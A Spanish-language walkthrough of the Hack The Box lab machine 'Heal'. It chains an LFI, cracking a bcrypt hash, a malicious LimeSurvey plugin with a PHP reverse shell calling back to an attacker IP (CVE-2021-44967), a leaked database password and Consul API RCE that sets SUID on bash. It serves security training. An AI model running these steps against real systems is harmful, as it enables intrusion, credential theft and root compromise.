Heal

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.46 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.46
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Heal
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeracion

La maquina tiene el dominio heal.htb y el puerto 80. La aplicacion web solo muestra un formulario de inicio de sesion y registro.

Una vez registrados podemos acceder a la pagina. Enumerando la pagina identificamos 2 nuevos subdominios.

api.heal.htb
take-survey.heal.htb

Local File Inclusion

Utilizando la funcion de Export as PDF vemos la siguiente url:

http://api.heal.htb/download?filename=762102ef9e6ae1c60bac.pdf

El parametro filename es vulnerable a LFI lo que nos permite leer archivos locales del servidor.

Enumerando procesos identificamos un archivo SQLite que contiene el hash del usuario ralph el cual es administrador.

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

Cracking Hash

Utilizamos john para crackear el hash.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (?)     
1g 0:00:00:14 DONE (2025-01-03 11:52) 0.06738g/s 33.96p/s 33.96c/s 33.96C/s teiubesc..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Con las credenciales podemos acceder correctamente al perfil.

Admin Panel LimeSurvey

En el subdominio take-survey.heal.htb descubrimos un panel de administracion con gobuster.

gobuster dir -u http://take-survey.heal.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://take-survey.heal.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 162]
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/admin                (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/Admin                (Status: 302) [Size: 0]

La aplicacion nos muestra un formulario de autenticacion. Podemos usar las credenciales que obtuvimos antes para autenticarnos.

ralph : 147258369

LimeSurvey RCE (CVE-2021-44967)

Despues de investigar si hay algun exploit publico encontramos este blog que explica como subir un plugin malicioso.

Utilizaremos los archivos de este repositorio para crear nuestro payload. Primero modificamos el archivo config.xml.

config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>doom</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>doom</author>
        <version>6.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : doom]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Del archivo php-rev.php modificamos la IP y el puerto.

php-rev.php
$ip = '10.10.14.12';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Ahora generamos nuestro archivo zip.

zip -r doom.zip config.xml php-rev.php
  adding: config.xml (deflated 55%)
  adding: php-rev.php (deflated 61%)

Por ultimo subimos nuestro zip en la aplicacion web.

Instalamos el plugin.

Activamos el plugin.

Una vez este activado para acceder a tu plugin es la siguiente ruta. Pero primero ponemos nuestro nc a la escucha.

nc -lvnp 1234
curl http://take-survey.heal.htb/upload/plugins/doom/php-rev.php

Esto nos regresara una reverse shell.

Lateral Movement

Dentro de los archivos de configuracion de LimeSurvey encontramos un password.

cat /var/www/limesurvey/application/config/config.php
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',

Acceso SSH

Ese password nos sirve para conectarnos con el usuario ron.

ssh ron@heal.htb

Escalada de Privilegios

Los procesos que podemos enumerar hay uno en particular que esta ejecutando el usuario root.

ps aux
root        1875  0.5  2.5 1357476 100764 ?      Ssl  15:52   1:10 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1

Se esta ejecutando el software Consul internamente y revisando la documentacion nos dice que abre varios puertos.

netstat -putona
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)

Port Forward

De los puertos abiertos el mas importante es el 8500 al cual le haremos portforwarding.

ssh ron@heal.htb -L 8500:127.0.0.1:8500

Ahora podemos acceder al portal web desde nuestra maquina.

Hashicorp Consul v1.0 - RCE

La version que esta ejecutando del servicio es Consul v1.19.2. Investigando exploits publicos hay uno que nos permite obtener RCE por medio de la API.

Utilizaremos el siguiente script para explotar la vulnerabilidad. Para hacer uso del script requerimos varios parametros entre ellos uno importante es el Consul token sin embargo la documentacion menciona que podemos usar Anonymous Token que es equivalente a un 0.

Por lo tanto ejecutamos el script de la siguiente forma.

python consul_rce.py -th 127.0.0.1 -tp 8500 -ct 0 -c 'chmod +s /bin/bash'
[+] Check fgvdqntxsgihsbr created successfully
[+] Check fgvdqntxsgihsbr deregistered successfully

El comando anterior le dara el privilegio SUID al binario bash para permitirnos escalar a root de una forma sencilla.

Referencias

https://ine.com/blog/cve-2021-44967-limesurvey-rce
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
https://github.com/owalid/consul-rce
https://developer.hashicorp.com/consul/docs/security/acl/tokens#anonymous-token